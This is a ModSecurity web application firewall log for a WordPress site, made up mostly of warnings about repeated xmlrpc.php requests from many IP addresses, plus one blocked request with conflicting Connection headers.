[Wed Apr 15 13:19:10.047875 2026] [:error] [pid 12396:tid 12398] [client 107.180.241.110:41736] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8fzsCQWGYUWgxc5kjLzQAAAIA"]
[Wed Apr 15 13:21:47.954454 2026] [:error] [pid 12433:tid 12439] [client 5.196.202.32:55946] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8ga7wxDHWF005pP_5VYAAAAQQ"]
[Wed Apr 15 13:23:54.721117 2026] [:error] [pid 12396:tid 12420] [client 217.154.99.219:40912] [client 217.154.99.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.99.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8g6sCQWGYUWgxc5kjM3gAAAJY"]
[Wed Apr 15 13:27:37.403613 2026] [:error] [pid 12433:tid 12435] [client 23.105.193.86:44048] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8hybwxDHWF005pP_5YsgAAAQA"]
[Wed Apr 15 13:35:58.188925 2026] [:error] [pid 11384:tid 11428] [client 202.157.175.19:36298] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8jvnOhpt4MrQIXF7BXIgAAAEY"]
[Wed Apr 15 13:39:29.365541 2026] [:error] [pid 11384:tid 11433] [client 152.42.226.162:37702] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8kkXOhpt4MrQIXF7BZwgAAAEs"]
[Wed Apr 15 13:39:40.697654 2026] [:error] [pid 11385:tid 11455] [client 192.41.77.25:37646] [client 192.41.77.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.41.77.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8knB_mZoXMMCiUoKUV7wAAAMY"]
[Wed Apr 15 13:42:59.627686 2026] [:error] [pid 12433:tid 12444] [client 141.94.18.111:47720] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8lY7wxDHWF005pP_5nKwAAAQk"]
[Wed Apr 15 13:43:22.917993 2026] [:error] [pid 12396:tid 12421] [client 88.87.70.158:36884] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8lesCQWGYUWgxc5kjTvgAAAJc"]
[Wed Apr 15 13:49:58.975994 2026] [:error] [pid 12433:tid 12448] [client 217.160.225.18:38764] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8nBrwxDHWF005pP_5qpAAAAQ0"]
[Wed Apr 15 13:58:18.339691 2026] [:error] [pid 12433:tid 12439] [client 167.99.240.84:54022] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8o-rwxDHWF005pP_5vJAAAAQQ"]
[Wed Apr 15 13:58:50.227562 2026] [:error] [pid 11385:tid 11448] [client 173.249.51.70:57858] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8pGh_mZoXMMCiUoKUcjwAAAMI"]
[Wed Apr 15 14:01:28.450418 2026] [:error] [pid 11475:tid 11491] [client 173.249.55.89:52082] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8puJ7upE98bj816HOwsgAAAU4"]
[Wed Apr 15 14:01:33.200666 2026] [:error] [pid 11385:tid 11465] [client 192.159.142.249:56472] [client 192.159.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.159.142.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8pvR_mZoXMMCiUoKUdygAAANA"]
[Wed Apr 15 14:01:45.172168 2026] [:error] [pid 12433:tid 12437] [client 54.38.241.153:42046] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8pybwxDHWF005pP_5xUQAAAQI"]
[Wed Apr 15 14:03:14.541471 2026] [:error] [pid 12433:tid 12450] [client 78.88.230.100:60324] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8qIrwxDHWF005pP_5yAQAAAQ8"]
[Wed Apr 15 14:03:29.429846 2026] [:error] [pid 12433:tid 12459] [client 108.181.199.63:45102] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8qMbwxDHWF005pP_5yJwAAARg"]
[Wed Apr 15 14:05:44.825404 2026] [:error] [pid 11385:tid 11459] [client 217.154.5.38:60184] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8quB_mZoXMMCiUoKUe2AAAAMo"]
[Wed Apr 15 14:06:03.787679 2026] [:error] [pid 11385:tid 11464] [client 143.244.166.58:48966] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8qyx_mZoXMMCiUoKUe7AAAAM8"]
[Wed Apr 15 14:07:48.456791 2026] [:error] [pid 11385:tid 11448] [client 157.66.27.30:39948] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8rNB_mZoXMMCiUoKUfVwAAAMI"]
[Wed Apr 15 14:15:06.024598 2026] [:error] [pid 11383:tid 11404] [client 182.42.105.144:55948] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8s6jOMRk2pAgm2-j62fwAAAAk"]
[Wed Apr 15 14:17:37.817375 2026] [:error] [pid 11384:tid 11444] [client 64.23.172.230:51576] [client 64.23.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.172.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8tgXOhpt4MrQIXF7BoIAAAAFY"]
[Wed Apr 15 14:21:25.480033 2026] [:error] [pid 11385:tid 11472] [client 185.199.223.27:56866] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8uZR_mZoXMMCiUoKUjOgAAANc"]
[Wed Apr 15 14:21:47.420793 2026] [:error] [pid 11385:tid 11446] [client 51.83.154.40:43692] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8uex_mZoXMMCiUoKUjWgAAAMA"]
[Wed Apr 15 14:23:04.675417 2026] [:error] [pid 11385:tid 11461] [client 204.48.18.182:55692] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8uyB_mZoXMMCiUoKUjrAAAAMw"]
[Wed Apr 15 14:28:28.234975 2026] [:error] [pid 12433:tid 12437] [client 45.82.122.124:49088] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.82.122.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8wDLwxDHWF005pP_5_aQAAAQI"]
[Wed Apr 15 14:29:10.268041 2026] [:error] [pid 11384:tid 11441] [client 159.223.217.167:34018] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8wNnOhpt4MrQIXF7BtVgAAAFM"]
[Wed Apr 15 14:29:21.964745 2026] [:error] [pid 12396:tid 12419] [client 146.59.232.195:57686] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8wQcCQWGYUWgxc5kje4gAAAJU"]
[Wed Apr 15 14:29:23.648537 2026] [:error] [pid 12433:tid 12440] [client 212.129.7.184:48652] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8wQ7wxDHWF005pP_6ASAAAAQU"]
[Wed Apr 15 14:30:08.338452 2026] [:error] [pid 12433:tid 12451] [client 51.210.190.32:36784] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8wcLwxDHWF005pP_6AmgAAARA"]
[Wed Apr 15 14:32:47.772413 2026] [:error] [pid 12396:tid 12411] [client 185.199.223.27:37598] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8xD8CQWGYUWgxc5kjfvgAAAI0"]
[Wed Apr 15 14:46:49.229034 2026] [:error] [pid 12396:tid 12413] [client 149.202.83.206:38926] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad80WcCQWGYUWgxc5kjicgAAAI8"]
[Wed Apr 15 14:49:11.427921 2026] [:error] [pid 11385:tid 11446] [client 144.202.29.51:36090] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad805x_mZoXMMCiUoKUq5gAAAMA"]
[Wed Apr 15 14:52:12.385431 2026] [:error] [pid 11475:tid 11482] [client 192.250.239.237:46376] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad81nJ7upE98bj816HO6lQAAAUU"]
[Wed Apr 15 14:52:24.016384 2026] [:error] [pid 12396:tid 12414] [client 177.91.132.9:40198] [client 177.91.132.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.132.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad81qMCQWGYUWgxc5kjjYQAAAJA"]
[Wed Apr 15 15:04:36.930703 2026] [:error] [pid 12433:tid 12445] [client 59.125.102.226:33766] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad84hLwxDHWF005pP_6RzwAAAQo"]
[Wed Apr 15 15:18:46.348763 2026] [:error] [pid 11384:tid 11422] [client 212.7.160.134:60500] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad871nOhpt4MrQIXF7CBoQAAAEA"]
[Wed Apr 15 15:20:17.067743 2026] [:error] [pid 12433:tid 12452] [client 54.37.239.214:34792] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad88MbwxDHWF005pP_6ZUQAAARE"]
[Wed Apr 15 15:22:09.226859 2026] [:error] [pid 11383:tid 11419] [client 54.37.239.214:41274] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad88oTOMRk2pAgm2-j7AugAAABg"]
[Wed Apr 15 15:22:16.560473 2026] [:error] [pid 11384:tid 11433] [client 51.68.74.67:47000] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad88qHOhpt4MrQIXF7CDQQAAAEs"]
[Wed Apr 15 15:23:16.070157 2026] [:error] [pid 11384:tid 11424] [client 15.235.224.64:56554] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad885HOhpt4MrQIXF7CDgQAAAEI"]
[Wed Apr 15 15:33:04.941710 2026] [:error] [pid 11384:tid 11433] [client 59.125.102.226:49460] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8_MHOhpt4MrQIXF7CHDQAAAEs"]
[Wed Apr 15 15:33:41.626610 2026] [:error] [pid 11384:tid 11431] [client 147.93.131.179:46524] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8_VXOhpt4MrQIXF7CHMwAAAEk"]
[Wed Apr 15 15:35:43.566453 2026] [:error] [pid 11475:tid 11500] [client 217.216.48.92:33422] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8_z57upE98bj816HPC7gAAAVc"]
[Wed Apr 15 15:36:09.455097 2026] [:error] [pid 12433:tid 12450] [client 176.96.136.90:44256] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8_6bwxDHWF005pP_6hcwAAAQ8"]
[Wed Apr 15 15:38:26.963491 2026] [:error] [pid 11385:tid 11448] [client 85.128.143.123:38752] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Ach_mZoXMMCiUoKU4QgAAAMI"]
[Wed Apr 15 15:45:52.890183 2026] [:error] [pid 12433:tid 12457] [client 137.184.237.108:35244] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9CMLwxDHWF005pP_6nlgAAARY"]
[Wed Apr 15 15:47:23.477252 2026] [:error] [pid 12396:tid 12402] [client 104.168.115.206:59058] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9Ci8CQWGYUWgxc5kjwGwAAAIQ"]
[Wed Apr 15 15:59:53.321635 2026] [:error] [pid 11475:tid 11494] [client 159.223.103.141:58446] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9FeZ7upE98bj816HPI7AAAAVE"]
[Wed Apr 15 16:06:14.522587 2026] [:error] [pid 11475:tid 11488] [client 23.105.193.86:60042] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9G9p7upE98bj816HPJiwAAAUs"]
[Wed Apr 15 16:09:22.887845 2026] [:error] [pid 11383:tid 11411] [client 43.156.13.166:51762] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9HsjOMRk2pAgm2-j7HqgAAABA"]
[Wed Apr 15 16:09:34.196553 2026] [:error] [pid 12433:tid 12448] [client 155.133.142.66:64020] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9HvrwxDHWF005pP_6x0QAAAQ0"]
[Wed Apr 15 16:12:19.065940 2026] [:error] [pid 11384:tid 11435] [client 65.21.67.136:36326] [client 65.21.67.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.67.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9IY3Ohpt4MrQIXF7CUCAAAAE0"]
[Wed Apr 15 16:16:05.282094 2026] [:error] [pid 11384:tid 11449] [client 155.133.142.66:37579] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9JRXOhpt4MrQIXF7CUpgAAAFc"]
[Wed Apr 15 16:18:01.927125 2026] [:error] [pid 11475:tid 11483] [client 172.237.101.239:58960] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9JuZ7upE98bj816HPMRgAAAUY"]
[Wed Apr 15 16:21:20.267264 2026] [:error] [pid 11383:tid 11407] [client 54.38.122.177:43020] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad9KgDOMRk2pAgm2-j7J-wAAAAw"]
